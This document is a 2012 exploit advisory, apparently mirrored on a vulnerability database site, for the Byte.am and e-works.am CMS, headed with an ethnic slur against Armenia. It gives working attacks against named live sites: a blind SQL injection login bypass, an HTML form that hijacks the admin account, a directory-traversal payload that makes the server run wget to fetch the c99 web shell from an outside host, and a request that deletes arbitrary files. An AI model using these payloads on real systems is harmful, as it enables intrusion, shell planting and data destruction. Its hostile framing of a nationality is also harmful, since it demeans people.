`[+]-------------------------------------------------------------[+]
Azerbaijan Black Hatz Presentzz
0day for bitch Armenia
[-]-------------------------------------------------------------[-]
Exploit title:Byte.am and e-works.am CMS MULTIPLE VULNERABLITIES
Date:18 August 2012
Author: Worm Man
Software Vendor:e-works.am && byte.am
Category:Web
Site admin panel:admin/admin.php
Dork:No dork (See sites portofolio)
Tested on:democms.byte.am
Demos:
democms.byte.am
dhgroup.am
coalition.byte.am
+++++++++++++++++++++++++++++++
Respect to all bro :Z
my first exploit :)
Let'z Start ...
[+].............................................................[+]
Blind sql injection...
Vulnerable code section on login.php
------------------------------------------------------------------------------------------
$query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query) or die(mysql_error());
$num_rows = mysql_num_rows($result);
------------------------------------------------------------------------------------------
Write for login:' or sleep(20)-- and 2='2
Write for password:anything
When submit this code execute in sql
SELECT * FROM pass WHERE username = '' or sleep(2)-- and 2='2' AND password = 'f0e166dc34d14d6c228ffac576c9a43c'
Wait... True
[-].............................................................[-]
[+].............................................................[+]
CRLF add admin with the help of sql :D
Vulnerable code login.php all
--------------------------------------------------------------------------------------------
<?
function updatePassword ($newusername, $newpsw, $email)
{
$password = md5($newpsw);
$query = "UPDATE pass SET username = '$newusername', password = '$password', email='$email' WHERE id = '1'";
$k = mysql_query($query);
};
require_once ('../include_files/config.php');
$username = $_POST['username'];
$password = md5($_POST['psw']);
$query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'";
echo $query;
$result = mysql_query($query) or die(mysql_error());
$num_rows = mysql_num_rows($result);
if ($num_rows == 1) {
$_SESSION['LOGIN'] = md5($username.substr($password, 1, 3));
if (isset($_POST[newusername]) && isset($_POST[newpsw]) && isset($_POST[newpsw1]) && $_POST[newusername] != "" && $_POST[newpsw] != "" && $_POST[newpsw1] != "")
{
if ($_POST[newpsw] == $_POST[newpsw1])
{
updatePassword($_POST[newusername], $_POST[newpsw], $_POST[email]);
header("Location: admin.php");
exit();
} else {
header("Location: chengepasw.php");
exit();
};
};
header("Location: main.php");
exit();
} else {
header("Location: admin.php?err=1");
}
?>
--------------------------------------------------------------------------------------------
The script check username and pass from sql.But it has blind sql.We can bypass it eazily :D
And script get + result.$num_rows will == 1 so we change admin information
Here is the html code for CRLF
--------------------------------------------------------------------------------------------
<html>
<body>
<form name="form1" onSubmit="return check()" method="post" action="http://>>Site Name<</admin/login.php?lg=1" >
<table width="400" border="0" align="center" cellpadding="0" cellspacing="20" style="font-size:12px">
<tr>
<td colspan="2" align="right" class="colors"><div align="center" class="style1" ><strong style="font-size:18px">Admin page</strong></div></td>
</tr>
<tr>
<td align="right">E-mail</td>
<td width="188"><input class="form_1" type="text" name="email" style="width:180px;" value="[email protected]"></td>
</tr>
<tr>
<td align="right">Old username</td>
<td width="188"><input class="form_1" type="text" name="username" style="width:180px;" value="' or 0=0-- or 1='1"></td>
</tr>
<tr>
<td align="right">Old password(something)</td>
<td><input class="form_1" type="text" name="psw" style="width:180px;" value="anything" ></td>
</tr>
<tr>
<td align="right">New username</td>
<td width="188" ><input class="form_1" type="text" name="newusername" style="width:180px;"></td>
</tr>
<tr>
<td align="right">New password</td>
<td ><input class="form_1" type="password" name="newpsw1" style="width:180px;"></td>
</tr>
<tr>
<td align="right">Confirm password</td>
<td ><input class="form_1" type="password" name="newpsw" style="width:180px;"></td>
</tr>
<tr>
<td align="center" colspan="2"><input type="submit" name="Submit" value="Enter" class="button"></td>
</tr>
</table>
</form>
</body>
</html>
--------------------------------------------------------------------------------------------
[-].............................................................[-]
[+].............................................................[+]
And Shell upload via LFI Directory Traversal
Vulnerable code section in the end of main.php
You can upload your shell if you are admin.And you know how to be admin :D
--------------------------------------------------------------------------------------------
<?
require_once ("header.php");
if (isset($page) && $page != "") {require_once("page_inc/".$page.".php");}
require_once ("futer.php");
?>
--------------------------------------------------------------------------------------------
http://>>Site_Name/admin/main.php?lg=1&page=lg=1&page=/../../%2E%2E/../../proc/fd/../s%65lf/%65nviron/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
Bypassing...
And change your accept-encoding to "<? passthru('wget http://c99.gen.tr/c99.txt -O yeah.php') ?>"
[-].............................................................[-]
[+].............................................................[+]
You can view and delete files via Assets Manager
Only File are seen...
See headerz
Post content
----------------------------------------------------------------------------------------------
POST http://>>Site_Name<</admin/editor/assetmanager/assetmanager.php?ffilter=
Host: >>Site_Name<<
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://>>Site_Name<</admin/editor/assetmanager/assetmanager.php?ffilter=
Cookie: dhtmlgoodies_expandedNodes=%2C0%2C; 458c09681ca533240f6a21e2a95219af=1debe8eaf8e894c869be03fdee73feee; act=main.php; f=N%3B; c=Site Path; __utma=153729195.1535137779.1343289719.1344546638.1344608883.14; __utmz=153729195.1343289719.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=d0b81f2-138c24e7922-5c060fe6-39; PHPSESSID=bd8f8fffa71ab97a63ff5dd05df3e022
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
----------------------------------------------------------------------------------------------
Send Post
inpFileToDelete=&inpCurrFolder=../../../
You will be in public_html
Write to "inpFileToDelete" file path for deleting files
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Respect all hatz
Respect all bro,z
Respect all Azerbaijan hackers
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/\ |\ | ----|---- -- /\ |---| |\ /| |----- |\ | -- /\
/ \ | \ | | || / \ |---| | \ / | |_____ | \ | | / \
/----\ | \ | | || /----\ |\ | \ / | | | \ | | /----\
/ \ | \| | || / \ | \ | \/ | |----- | \| |/ \
Team...
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation